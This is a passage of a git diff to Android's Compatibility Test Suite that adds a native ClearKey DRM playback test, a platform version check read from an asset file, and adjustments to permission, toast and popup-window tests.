+            fillDecoder(videoCodec, videoExtractor,
+                    &videoPresentationTimeUs, &sawVideoInputEos);
+        }
+
+        if (!sawAudioInputEos) {
+            // skip audio, still need to advance the audio extractor
+            AMediaExtractor_advance(audioExtractor);
+        }
+
+        if (!sawVideoOutputEos) {
+            sawVideoOutputEos = drainDecoder(videoCodec, videoPresentationTimeUs,
+                    &videoStartTimeNano);
+        }
+
+        clock_gettime(CLOCK_MONOTONIC, &timeSpec);
+        if (timeSpec.tv_sec >= static_cast<time_t>(
+            (startTimeSec + kPlayTimeSeconds))) {
+            // stop reading samples and drain the output buffers
+            sawAudioInputEos = sawVideoInputEos = true;
+            sawAudioOutputEos = true; // ignore audio
+        }
+    }
+
+    if (audioCodec) {
+        AMediaCodec_stop(audioCodec);
+        AMediaCodec_delete(audioCodec);
+    }
+    if (videoCodec) {
+        AMediaCodec_stop(videoCodec);
+        AMediaCodec_delete(videoCodec);
+    }
+
+    AMediaCrypto_delete(crypto);
+    ANativeWindow_release(window);
+    return JNI_TRUE;
+}
+
+static void listener(
+    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
+    AMediaDrmEventType eventType,
+    int /*extra*/, const uint8_t* /*data*/, size_t /*dataSize*/) {
+
+    switch (eventType) {
+        case EVENT_PROVISION_REQUIRED:
+            ALOGD("EVENT_PROVISION_REQUIRED received");
+            break;
+        case EVENT_KEY_REQUIRED:
+            ALOGD("EVENT_KEY_REQUIRED received");
+            break;
+        case EVENT_KEY_EXPIRED:
+            ALOGD("EVENT_KEY_EXPIRED received");
+            break;
+        case EVENT_VENDOR_DEFINED:
+            gGotVendorDefinedEvent = true;
+            ALOGD("EVENT_VENDOR_DEFINED received");
+            break;
+        default:
+            ALOGD("Unknown event received");
+            break;
+    }
+}
+
+extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_testClearKeyPlaybackNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jobject playbackParams) {
+    if (NULL == uuid || NULL == playbackParams) {
+        jniThrowException(env, "java/lang/NullPointerException",
+                "null uuid or null playback parameters");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    PlaybackParams params;
+    initPlaybackParams(env, playbackParams, params);
+
+    AMediaObjects aMediaObjects;
+    media_status_t status = AMEDIA_OK;
+    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+    if (NULL == aMediaObjects.getDrm()) {
+        jniThrowException(env, "java/lang/RuntimeException", "null MediaDrm");
+        return JNI_FALSE;
+    }
+
+    status = AMediaDrm_setOnEventListener(aMediaObjects.getDrm(), listener);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "setOnEventListener failed");
+        return JNI_FALSE;
+    }
+
+    aMediaObjects.setAudioExtractor(AMediaExtractor_new());
+    const char* url = env->GetStringUTFChars(params.audioUrl, 0);
+    if (url) {
+        status = AMediaExtractor_setDataSource(
+            aMediaObjects.getAudioExtractor(), url);
+        env->ReleaseStringUTFChars(params.audioUrl, url);
+
+        if (status != AMEDIA_OK) {
+            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                    "set audio data source error=%d", status);
+            return JNI_FALSE;
+        }
+    }
+
+    aMediaObjects.setVideoExtractor(AMediaExtractor_new());
+    url = env->GetStringUTFChars(params.videoUrl, 0);
+    if (url) {
+        status = AMediaExtractor_setDataSource(
+            aMediaObjects.getVideoExtractor(), url);
+        env->ReleaseStringUTFChars(params.videoUrl, url);
+
+        if (status != AMEDIA_OK) {
+            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                    "set video data source error=%d", status);
+            return JNI_FALSE;
+        }
+    }
+
+    AMediaDrmSessionId sessionId;
+    status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "openSession failed");
+        return JNI_FALSE;
+    }
+
+    // Pointer to keyRequest memory, which remains until the next
+    // AMediaDrm_getKeyRequest call or until the drm object is released.
+    const uint8_t* keyRequest;
+    size_t keyRequestSize = 0;
+
+    // The server recognizes "video/mp4" but not "video/avc".
+    status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(), &sessionId,
+            kClearkeyPssh, sizeof(kClearkeyPssh),
+            "video/mp4" /*mimeType*/, KEY_TYPE_STREAMING,
+            NULL, 0, &keyRequest, &keyRequestSize);
+    if (status != AMEDIA_OK) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "getKeyRequest failed, error = %d", status);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    if (kKeyRequestSize != keyRequestSize) {
+        ALOGE("Invalid keyRequestSize %zd", keyRequestSize);
+        return JNI_FALSE;
+    }
+
+    if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
+        ALOGE("Invalid keyRequest data is returned");
+        return JNI_FALSE;
+    }
+
+    AMediaDrmKeySetId keySetId;
+    gGotVendorDefinedEvent = false;
+    status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
+            reinterpret_cast<const uint8_t*>(kResponse),
+            sizeof(kResponse), &keySetId);
+    if (status != AMEDIA_OK) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "provideKeyResponse failed, error = %d", status);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    // Check if the event listener has received the expected event sent by
+    // provideKeyResponse. This is for testing AMediaDrm_setOnEventListener().
+    const char *utf8_outValue = NULL;
+    status = AMediaDrm_getPropertyString(aMediaObjects.getDrm(),
+            "listenerTestSupport", &utf8_outValue);
+    if (status == AMEDIA_OK && NULL != utf8_outValue) {
+        std::string eventType(utf8_outValue);
+        if (eventType.compare("true") == 0) {
+            int count = 0;
+            while (!gGotVendorDefinedEvent && count++ < 5) {
+               // Prevents race condition when the event arrives late
+               usleep(1000);
+            }
+            if (!gGotVendorDefinedEvent) {
+                ALOGE("Event listener did not receive the expected event.");
+                jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                        "Event listener did not receive the expected event.");
+                AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+                return JNI_FALSE;
+           }
+        }
+    }
+
+    playContent(env, aMediaObjects, params, sessionId, juuid);
+
+    status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "closeSession failed");
+        return JNI_FALSE;
+    }
+    return JNI_TRUE;
+}
+
+static JNINativeMethod gMethods[] = {
+    { "isCryptoSchemeSupportedNative", "([B)Z",
+            (void *)Java_android_media_cts_NativeClearKeySystemTest_isCryptoSchemeSupportedNative },
+
+    { "testClearKeyPlaybackNative",
+            "([BLandroid/media/cts/NativeClearKeySystemTest$PlaybackParams;)Z",
+            (void *)Java_android_media_cts_NativeClearKeySystemTest_testClearKeyPlaybackNative },
+
+    { "testGetPropertyStringNative",
+            "([BLjava/lang/String;Ljava/lang/StringBuffer;)Z",
+            (void *)Java_android_media_cts_NativeClearKeySystemTest_testGetPropertyStringNative },
+
+    { "testPsshNative", "([BLjava/lang/String;)Z",
+            (void *)Java_android_media_cts_NativeClearKeySystemTest__testPsshNative },
+};
+
+int register_android_media_cts_NativeClearKeySystemTest(JNIEnv* env) {
+    jint result = JNI_ERR;
+    jclass testClass =
+        env->FindClass("android/media/cts/NativeClearKeySystemTest");
+    if (testClass) {
+        jclass playbackParamsClass = env->FindClass(
+            "android/media/cts/NativeClearKeySystemTest$PlaybackParams");
+        if (playbackParamsClass) {
+            jclass surfaceClass =
+                env->FindClass("android/view/Surface");
+            if (surfaceClass) {
+                gFieldIds.surface = env->GetFieldID(playbackParamsClass,
+                        "surface", "Landroid/view/Surface;");
+            } else {
+                gFieldIds.surface = NULL;
+            }
+            gFieldIds.mimeType = env->GetFieldID(playbackParamsClass,
+                    "mimeType", "Ljava/lang/String;");
+            gFieldIds.audioUrl = env->GetFieldID(playbackParamsClass,
+                    "audioUrl", "Ljava/lang/String;");
+            gFieldIds.videoUrl = env->GetFieldID(playbackParamsClass,
+                    "videoUrl", "Ljava/lang/String;");
+        } else {
+            ALOGE("PlaybackParams class not found");
+        }
+
+    } else {
+        ALOGE("NativeClearKeySystemTest class not found");
+    }
+
+    result = env->RegisterNatives(testClass, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+    return result;
+}
diff --git a/tests/tests/media/src/android/media/cts/ConnectionStatus.java b/tests/tests/media/src/android/media/cts/ConnectionStatus.java
index 407e553..37fc75e 100644
--- a/tests/tests/media/src/android/media/cts/ConnectionStatus.java
+++ b/tests/tests/media/src/android/media/cts/ConnectionStatus.java
@@ -132,14 +132,6 @@
     }
 
     public void testConnection(Uri uri) {
-        final String GOOG = "www.google.com";
-
-        if (pingTest(GOOG)) {
-            Log.d(TAG, "Successfully pinged " + GOOG);
-        } else {
-            Log.e(TAG, "Failed to ping " + GOOG);
-        }
-
         if (pingTest(uri.getHost())) {
             Log.d(TAG, "Successfully pinged " + uri.getHost());
         } else {
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
new file mode 100644
index 0000000..1d4500f
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static org.junit.Assert.assertThat;
+import static org.junit.matchers.JUnitMatchers.containsString;
+
+import android.cts.util.MediaUtils;
+import android.net.Uri;
+import android.util.Log;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+
+import com.google.android.collect.Lists;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.UUID;
+
+/**
+ * Tests MediaDrm NDK APIs. ClearKey system uses a subset of NDK APIs,
+ * this test only tests the APIs that are supported by ClearKey system.
+ */
+public class NativeClearKeySystemTest extends MediaPlayerTestBase {
+    private static final String TAG = NativeClearKeySystemTest.class.getSimpleName();
+
+    private static final int CONNECTION_RETRIES = 10;
+    private static final int VIDEO_WIDTH_CENC = 1280;
+    private static final int VIDEO_HEIGHT_CENC = 720;
+    private static final String ISO_BMFF_VIDEO_MIME_TYPE = "video/avc";
+    private static final String ISO_BMFF_AUDIO_MIME_TYPE = "audio/avc";
+    private static final Uri CENC_AUDIO_URL = Uri.parse(
+        "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/" +
+        "car_cenc-20120827-8c.mp4");
+    private static final Uri CENC_CLEARKEY_VIDEO_URL = Uri.parse(
+        "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/" +
+        "car_cenc-20120827-88.mp4");
+
+    private static final int UUID_BYTE_SIZE = 16;
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+    private static final UUID BAD_SCHEME_UUID =
+            new UUID(0xffffffffffffffffL, 0xffffffffffffffffL);
+    private MediaCodecClearKeyPlayer mMediaCodecPlayer;
+
+    static {
+        try {
+            System.loadLibrary("ctsmediadrm_jni");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "NativeClearKeySystemTest: Error loading JNI library");
+            e.printStackTrace();
+        }
+        try {
+            System.loadLibrary("mediandk");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "NativeClearKeySystemTest: Error loading JNI library");
+            e.printStackTrace();
+        }
+    }
+
+    public static class PlaybackParams {
+        public Surface surface;
+        public String mimeType;
+        public String audioUrl;
+        public String videoUrl;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (false == deviceHasMediaDrm()) {
+            tearDown();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    private boolean deviceHasMediaDrm() {
+        // ClearKey is introduced after KitKat.
+        if (android.os.Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
+            Log.i(TAG, "This test is designed to work after Android KitKat.");
+            return false;
+        }
+        return true;
+    }
+
+    private static final byte[] uuidByteArray(UUID uuid) {
+        ByteBuffer buffer = ByteBuffer.wrap(new byte[UUID_BYTE_SIZE]);
+        buffer.putLong(uuid.getMostSignificantBits());
+        buffer.putLong(uuid.getLeastSignificantBits());
+        return buffer.array();
+    }
+
+    public void testIsCryptoSchemeSupported() throws Exception {
+        assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
+    }
+
+    public void testIsCryptoSchemeNotSupported() throws Exception {
+        assertFalse(isCryptoSchemeSupportedNative(uuidByteArray(BAD_SCHEME_UUID)));
+    }
+
+    public void testPssh() throws Exception {
+        assertTrue(testPsshNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+                CENC_CLEARKEY_VIDEO_URL.toString()));
+    }
+
+    public void testGetPropertyString() throws Exception {
+        StringBuffer value = new StringBuffer();
+        testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
+        assertEquals("ClearKey CDM", value.toString());
+    }
+
+    public void testUnknownPropertyString() throws Exception {
+        try {
+            StringBuffer value = new StringBuffer();
+            testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+                    "unknown-property", value);
+        } catch (RuntimeException e) {
+            Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
+            assertThat(e.getMessage(), containsString("get property string returns"));
+        }
+    }
+
+    /**
+     * Tests native clear key system playback.
+     */
+    private void testClearKeyPlayback(
+            String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
+            int videoWidth, int videoHeight) throws Exception {
+
+        if (!isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID))) {
+            throw new Error("Crypto scheme is not supported.");
+        }
+
+        IConnectionStatus connectionStatus = new ConnectionStatus(mContext);
+        if (!connectionStatus.isAvailable()) {
+            throw new Error("Network is not available, reason: " +
+                    connectionStatus.getNotConnectedReason());
+        }
+
+        // If device is not online, recheck the status a few times.
+        int retries = 0;
+        while (!connectionStatus.isConnected()) {
+            if (retries++ >= CONNECTION_RETRIES) {
+                throw new Error("Device is not online, reason: " +
+                        connectionStatus.getNotConnectedReason());
+            }
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException e) {
+                // do nothing
+            }
+        }
+        connectionStatus.testConnection(videoUrl);
+
+        if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.getPath())) {
+            Log.i(TAG, "Device does not support " +
+                  videoWidth + "x" + videoHeight + " resolution for " + mimeType);
+            return;  // skip
+        }
+
+        // set to true if modify isVersionSmaller()
+        if (false)
+            unitTestIsVersionSmaller();
+
+        // This test requires two changes in frameworks/av (go/av/1628977 and
+        // go/ag/1598174) that are in 7.1.2 and above.
+        // Version 8 and above does not need this check.
+        if (isVersionSmaller(android.os.Build.VERSION.RELEASE, "7.1.2")) {
+            Log.i(TAG, "This test requires android \"7.1.2\" or higher.");
+            Log.i(TAG, "This device is running \"" +
+                  android.os.Build.VERSION.RELEASE + "\".");
+            return; // skip
+        }
+        PlaybackParams params = new PlaybackParams();
+        params.surface = mActivity.getSurfaceHolder().getSurface();
+        params.mimeType = mimeType;
+        params.audioUrl = audioUrl.toString();
+        params.videoUrl = videoUrl.toString();
+
+        if (!testClearKeyPlaybackNative(
+            uuidByteArray(CLEARKEY_SCHEME_UUID), params)) {
+            Log.e(TAG, "Fails play back using native media drm APIs.");
+        }
+        params.surface.release();
+    }
+
+    private void unitTestIsVersionSmaller() {
+        assertTrue(isVersionSmaller("6.9", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1.1", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1.1.4", "7.1.2"));
+        assertFalse(isVersionSmaller("7.1.2", "7.1.2"));
+        assertFalse(isVersionSmaller("8.0", "7.1.2"));
+        assertFalse(isVersionSmaller("8.1.2", "7.1.2"));
+    }
+
+    private ArrayList<Integer> intVersion(String version) {
+        String versions[] = version.split("\\.");
+
+        ArrayList<Integer> versionNumbers = Lists.newArrayList();
+        for (String subVersion : versions) {
+            versionNumbers.add(Integer.parseInt(subVersion));
+        }
+        return versionNumbers;
+    }
+
+    /**
+     * Return true if smaller, return false if great than or equal to the
+     * target version.
+     */
+    private boolean isVersionSmaller(String testVersion, String targetVersion) {
+        ArrayList<Integer> intTestVersion = intVersion(testVersion);
+        ArrayList<Integer> intTargetVersion = intVersion(targetVersion);
+
+        Iterator itr = intTestVersion.iterator();
+        for (int targetNumber : intTargetVersion) {
+            if (itr.hasNext()) {
+                int testNumber = (int) itr.next();
+                if (testNumber == targetNumber) {
+                    continue;
+                } else {
+                    return testNumber < targetNumber;
+                }
+            } else {
+                // treat test version as 0
+                return 0 != targetNumber;
+            }
+        }
+        return false;
+    }
+
+    private static native boolean isCryptoSchemeSupportedNative(final byte[] uuid);
+
+    private static native boolean testClearKeyPlaybackNative(final byte[] uuid,
+            PlaybackParams params);
+
+    private static native boolean testGetPropertyStringNative(final byte[] uuid,
+            final String name, StringBuffer value);
+
+    private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
+
+    public void testClearKeyPlaybackCenc() throws Exception {
+        testClearKeyPlayback(
+                ISO_BMFF_VIDEO_MIME_TYPE,
+                CENC_AUDIO_URL,
+                CENC_CLEARKEY_VIDEO_URL,
+                VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+    }
+}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 5397fc6a..4dc87b1 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -48,3 +48,34 @@
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
+
+# platform version check (b/32056228)
+# ============================================================
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := cts-platform-version-check
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
+cts_platform_version_string := $(shell cat $(cts_platform_version_path))
+
+include $(BUILD_SYSTEM)/base_rules.mk
+
+$(LOCAL_BUILT_MODULE) : $(cts_platform_version_path) build/core/version_defaults.mk
+	$(hide) if [ -z "$(findstring $(PLATFORM_VERSION),$(cts_platform_version_string))" ]; then \
+		echo "============================================================" 1>&2; \
+		echo "Could not find version \"$(PLATFORM_VERSION)\" in CTS platform version file:" 1>&2; \
+		echo "" 1>&2; \
+		echo "	$(cts_platform_version_path)" 1>&2; \
+		echo "" 1>&2; \
+		echo "Most likely PLATFORM_VERSION in build/core/version_defaults.mk" 1>&2; \
+		echo "has changed and a new version must be added to this CTS file." 1>&2; \
+		echo "============================================================" 1>&2; \
+		exit 1; \
+	fi
+	@mkdir -p $(dir $@)
+	echo $(cts_platform_version_string) > $@
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
new file mode 100644
index 0000000..6f9c237
--- /dev/null
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -0,0 +1,3 @@
+7.1
+7.1.1
+7.1.2
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index e39249b..d06171b 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -16,10 +16,16 @@
 
 package android.os.cts;
 
+import android.content.res.AssetManager;
 import android.os.Build;
 import android.platform.test.annotations.RestrictedBuildTest;
+import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.IOException;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Set;
@@ -29,17 +35,16 @@
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
-    private static final Set<String> EXPECTED_RELEASES =
-            new HashSet<String>(Arrays.asList("7.1","7.1.1","7.1.2"));
     private static final int EXPECTED_SDK = 25;
     private static final String EXPECTED_BUILD_VARIANT = "user";
     private static final String EXPECTED_TAG = "release-keys";
+    private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
 
     @SuppressWarnings("deprecation")
     @RestrictedBuildTest
     public void testReleaseVersion() {
         // Applications may rely on the exact release version
-        assertAnyOf("BUILD.VERSION.RELEASE", Build.VERSION.RELEASE, EXPECTED_RELEASES);
+        assertAnyOf("BUILD.VERSION.RELEASE", Build.VERSION.RELEASE, getExpectedReleases());
         assertEquals("Build.VERSION.SDK", "" + EXPECTED_SDK, Build.VERSION.SDK);
         assertEquals("Build.VERSION.SDK_INT", EXPECTED_SDK, Build.VERSION.SDK_INT);
     }
@@ -94,4 +99,20 @@
                      ", should be one of: " + permittedValues);
         }
     }
+
+    private Set<String> getExpectedReleases() {
+        Set<String> expectedReleases = new HashSet<String>();
+        final AssetManager assets =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getAssets();
+        String line;
+        try (BufferedReader br =
+                new BufferedReader(new InputStreamReader(assets.open(PLATFORM_VERSIONS_FILE)))) {
+            while ((line = br.readLine()) != null) {
+                expectedReleases.add(line);
+            }
+        } catch (IOException e) {
+            fail("Could not open file " + PLATFORM_VERSIONS_FILE + " to run test");
+        }
+        return expectedReleases;
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 277198e..575b35e 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -538,6 +538,7 @@
                     "/data/mdl",
                     "/data/misc",
                     "/data/misc/bluetooth",
+                    "/data/misc/bluetooth/logs",
                     "/data/misc/dhcp",
                     "/data/misc/lockscreen",
                     "/data/misc/sensor",
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index f2b4470..96e095a 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -26,33 +26,13 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner org.apache.http.legacy
 
 LOCAL_JNI_SHARED_LIBRARIES := libctssecurity_jni libcts_jni libnativehelper_compat_libc++ \
-		libnativehelper \
-		libbinder \
-		libutils \
-		libmedia \
-		libselinux \
-		libcutils \
-		libcrypto \
-		libc++ \
-		libbacktrace \
-		libui \
-		libsonivox \
-		libexpat \
-		libcamera_client \
-		libgui \
-		libaudioutils \
-		libnbaio \
-		libpcre \
-		libpackagelistparser \
-		libpowermanager \
-		libbase \
-		libunwind \
-		libhardware \
-		libsync \
-		libcamera_metadata \
-		libspeexresampler \
-		liblzma \
-		libstagefright_foundation
+                      libnativehelper \
+                      libcutils \
+                      libcrypto \
+                      libselinux \
+                      libc++ \
+                      libpcre \
+                      libpackagelistparser
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)\
                    src/android/security/cts/activity/ISecureRandomService.aidl\
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index d39ac7e..cbfbe3a 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -31,37 +31,16 @@
 		android_security_cts_MMapExecutableTest.cpp \
 		android_security_cts_EncryptionTest.cpp \
 
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
-										$(TOP)/frameworks/native/include/media/openmax
-
-LOCAL_SHARED_LIBRARIES := libnativehelper \
+LOCAL_SHARED_LIBRARIES := \
+		libnativehelper \
 		liblog \
-		libutils \
-		libmedia \
-		libselinux \
-		libdl \
 		libcutils \
 		libcrypto \
+		libselinux \
 		libc++ \
-		libbacktrace \
-		libui \
-		libsonivox \
-		libexpat \
-		libcamera_client \
-		libgui \
-		libaudioutils \
-		libnbaio \
 		libpcre \
 		libpackagelistparser \
-		libpowermanager \
-		libbase \
-		libunwind \
-		libhardware \
-		libsync \
-		libcamera_metadata \
-		libspeexresampler \
-		liblzma \
-		libstagefright_foundation
+
 
 LOCAL_C_INCLUDES += ndk/sources/cpufeatures
 LOCAL_STATIC_LIBRARIES := cpufeatures
diff --git a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
index 207e6ea..c2ecb3a 100644
--- a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
+++ b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
@@ -108,7 +108,10 @@
     }
 
     @Test
-    public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedQuickly() throws Exception {
+    public void testAddTwoToastsViaAddingWindowApisWhenUidNotFocusedQuickly() throws Exception {
+        // Finish the activity so the UID loses focus
+        finishActivity(false);
+
         try {
             showToastsViaAddingWindow(2, false);
             Assert.fail("Only one custom toast window at a time should be allowed");
@@ -120,6 +123,14 @@
     }
 
     @Test
+    public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedQuickly() throws Exception {
+        showToastsViaAddingWindow(2, false);
+
+        // Wait for the toast to timeout
+        waitForToastTimeout();
+    }
+
+    @Test
     public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedSlowly() throws Exception {
         // Add one window
         showToastsViaAddingWindow(1, true);
diff --git a/tests/tests/widget/res/layout/popup_window_scrollable.xml b/tests/tests/widget/res/layout/popup_window_scrollable.xml
new file mode 100644
index 0000000..aa1edd6
--- /dev/null
+++ b/tests/tests/widget/res/layout/popup_window_scrollable.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <RelativeLayout
+        android:id="@+id/main_container"
+        android:layout_width="10000dp"
+        android:layout_height="10000dp">
+
+        <View
+            android:id="@+id/anchor_upper_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_upper"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_upper_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_middle_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_middle"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_middle_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_lower_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+        <View
+            android:id="@+id/anchor_lower"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+        <View
+            android:id="@+id/anchor_lower_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+    </RelativeLayout>
+
+</ScrollView>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 47efffc..918a161 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -16,6 +16,14 @@
 
 package android.widget.cts;
 
+import static org.mockito.Matchers.anyInt;
